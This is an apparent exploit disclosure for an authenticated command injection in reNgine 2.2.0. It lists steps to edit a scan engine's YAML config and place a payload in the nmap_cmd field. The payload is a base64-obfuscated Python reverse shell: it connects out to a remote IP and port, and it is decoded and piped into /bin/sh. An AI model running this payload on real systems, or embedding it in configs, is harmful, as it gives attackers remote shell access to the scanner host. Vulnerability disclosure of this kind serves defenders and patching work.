reNgine 2.2.0 - Command Injection (Authenticated)

# Exploit Title: reNgine 2.2.0 - Command Injection (Authenticated)
# Date: 2024-09-29
# Exploit Author: Caner Tercan
# Vendor Homepage: https://rengine.wiki/
# Software Link: https://github.com/yogeshojha/rengine
# Version: v2.2.0
# Tested on: macOS

POC : 

1. Login the Rengine Platform
2. Click the Scan Engine
3. Modify any Scan Engine
4. I modified nmap_cmd parameters on yml config
5. Finally, add a target in the targets section, select the scan engine you edited and start scanning.

payload :

'nmap_cmd': 'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScg"|base64 --decode |/bin/sh  #’